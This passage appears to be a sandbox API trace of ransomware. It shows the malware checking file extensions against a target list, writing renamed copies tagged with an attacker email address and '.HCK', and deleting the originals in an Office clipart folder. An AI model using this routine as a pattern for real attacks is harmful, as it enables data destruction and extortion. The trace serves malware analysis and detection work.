Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.858] lstrlenW (lpString=".doc") returned 4 [0168.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString=".docx") returned 5 [0168.858] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.858] lstrlenW (lpString=".pdf") returned 4 [0168.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString=".xls") returned 4 [0168.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.858] lstrlenW (lpString=".xlsx") returned 5 [0168.858] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.858] lstrlenW (lpString=".ppt") returned 4 [0168.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.858] lstrlenW (lpString=".zip") returned 4 [0168.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.858] lstrlenW (lpString=".rar") returned 4 [0168.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.858] lstrlenW (lpString=".bz2") returned 4 [0168.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.859] lstrlenW (lpString=".7z") returned 3 [0168.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.859] lstrlenW (lpString=".dbf") returned 4 [0168.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.859] lstrlenW (lpString=".1cd") returned 4 [0168.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0168.859] lstrlenW (lpString=".jpg") returned 4 [0168.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.859] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.859] lstrlenW (lpString="J0152698.WMF") returned 12 [0168.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.866] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1208) returned 1 [0168.866] CloseHandle (hObject=0x3ac) returned 1 [0168.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 0x220 [0168.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.872] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.872] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.878] GetLastError () returned 0x0 [0168.878] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0168.882] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0168.882] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.882] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.882] SetEndOfFile (hFile=0x354) returned 1 [0168.886] CloseHandle (hObject=0x354) returned 1 [0168.887] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.887] SetEndOfFile (hFile=0x308) returned 1 [0168.890] CloseHandle (hObject=0x308) returned 1 [0168.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0168.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.897] lstrlenW (lpString=".doc") returned 4 [0168.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.897] lstrlenW (lpString=".docx") returned 5 [0168.897] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.897] lstrlenW (lpString=".pdf") returned 4 [0168.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.897] lstrlenW (lpString=".xls") returned 4 [0168.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.897] lstrlenW (lpString=".xlsx") returned 5 [0168.897] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.897] lstrlenW (lpString=".ppt") returned 4 [0168.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.897] lstrlenW (lpString=".zip") returned 4 [0168.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.897] lstrlenW (lpString=".rar") returned 4 [0168.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.897] lstrlenW (lpString=".bz2") returned 4 [0168.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.897] lstrlenW (lpString=".7z") returned 3 [0168.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.898] lstrlenW (lpString=".dbf") returned 4 [0168.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.898] lstrlenW (lpString=".1cd") returned 4 [0168.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.898] lstrlenW (lpString=".jpg") returned 4 [0168.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.898] lstrlenW (lpString=".doc") returned 4 [0168.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString=".docx") returned 5 [0168.898] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.898] lstrlenW (lpString=".pdf") returned 4 [0168.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString=".xls") returned 4 [0168.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.898] lstrlenW (lpString=".xlsx") returned 5 [0168.898] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.898] lstrlenW (lpString=".ppt") returned 4 [0168.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.898] lstrlenW (lpString=".zip") returned 4 [0168.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.898] lstrlenW (lpString=".rar") returned 4 [0168.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString=".bz2") returned 4 [0168.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString=".7z") returned 3 [0168.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.898] lstrlenW (lpString=".dbf") returned 4 [0168.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.898] lstrlenW (lpString=".1cd") returned 4 [0168.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68 [0168.898] lstrlenW (lpString=".jpg") returned 4 [0168.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.898] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.898] lstrlenW (lpString="J0152716.WMF") returned 12 [0168.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0168.907] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4580) returned 1 [0168.907] CloseHandle (hObject=0x398) returned 1 [0168.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 0x220 [0168.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.917] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.917] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.924] GetLastError () returned 0x0 [0168.924] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x11e4, lpOverlapped=0x0) returned 1 [0168.926] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x11f0, lpOverlapped=0x0) returned 1 [0168.927] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.927] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.927] SetEndOfFile (hFile=0x330) returned 1 [0168.928] CloseHandle (hObject=0x330) returned 1 [0168.929] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.929] SetEndOfFile (hFile=0x388) returned 1 [0168.932] CloseHandle (hObject=0x388) returned 1 [0168.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf")) returned 1 [0168.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.945] lstrlenW (lpString=".doc") returned 4 [0168.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString=".docx") returned 5 [0168.945] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.945] lstrlenW (lpString=".pdf") returned 4 [0168.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString=".xls") returned 4 [0168.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.945] lstrlenW (lpString=".xlsx") returned 5 [0168.945] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.945] lstrlenW (lpString=".ppt") returned 4 [0168.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.945] lstrlenW (lpString=".zip") returned 4 [0168.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.945] lstrlenW (lpString=".rar") returned 4 [0168.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString=".bz2") returned 4 [0168.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString=".7z") returned 3 [0168.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.945] lstrlenW (lpString=".dbf") returned 4 [0168.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.945] lstrlenW (lpString=".1cd") returned 4 [0168.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.945] lstrlenW (lpString=".jpg") returned 4 [0168.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.945] lstrlenW (lpString=".doc") returned 4 [0168.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString=".docx") returned 5 [0168.945] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.945] lstrlenW (lpString=".pdf") returned 4 [0168.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.945] lstrlenW (lpString=".xls") returned 4 [0168.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.945] lstrlenW (lpString=".xlsx") returned 5 [0168.945] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.945] lstrlenW (lpString=".ppt") returned 4 [0168.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.946] lstrlenW (lpString=".zip") returned 4 [0168.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.946] lstrlenW (lpString=".rar") returned 4 [0168.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.946] lstrlenW (lpString=".bz2") returned 4 [0168.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.946] lstrlenW (lpString=".7z") returned 3 [0168.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.946] lstrlenW (lpString=".dbf") returned 4 [0168.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.946] lstrlenW (lpString=".1cd") returned 4 [0168.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68 [0168.946] lstrlenW (lpString=".jpg") returned 4 [0168.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.946] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.946] lstrlenW (lpString="J0152882.WMF") returned 12 [0168.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.957] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9072) returned 1 [0168.957] CloseHandle (hObject=0x360) returned 1 [0168.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 0x220 [0168.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.966] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.966] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.978] GetLastError () returned 0x0 [0168.979] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2370, lpOverlapped=0x0) returned 1 [0168.981] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2380, lpOverlapped=0x0) returned 1 [0168.982] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.982] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.982] SetEndOfFile (hFile=0x360) returned 1 [0168.987] CloseHandle (hObject=0x360) returned 1 [0168.990] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.990] SetEndOfFile (hFile=0x3ac) returned 1 [0168.995] CloseHandle (hObject=0x3ac) returned 1 [0168.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0169.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.002] lstrlenW (lpString=".doc") returned 4 [0169.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.002] lstrlenW (lpString=".docx") returned 5 [0169.002] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.002] lstrlenW (lpString=".pdf") returned 4 [0169.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.002] lstrlenW (lpString=".xls") returned 4 [0169.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.002] lstrlenW (lpString=".xlsx") returned 5 [0169.002] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.002] lstrlenW (lpString=".ppt") returned 4 [0169.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.002] lstrlenW (lpString=".zip") returned 4 [0169.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.002] lstrlenW (lpString=".rar") returned 4 [0169.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.002] lstrlenW (lpString=".bz2") returned 4 [0169.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.002] lstrlenW (lpString=".7z") returned 3 [0169.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.002] lstrlenW (lpString=".dbf") returned 4 [0169.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.002] lstrlenW (lpString=".1cd") returned 4 [0169.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.003] lstrlenW (lpString=".jpg") returned 4 [0169.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.003] lstrlenW (lpString=".doc") returned 4 [0169.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString=".docx") returned 5 [0169.003] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.003] lstrlenW (lpString=".pdf") returned 4 [0169.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString=".xls") returned 4 [0169.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.003] lstrlenW (lpString=".xlsx") returned 5 [0169.003] lstrcmpiW 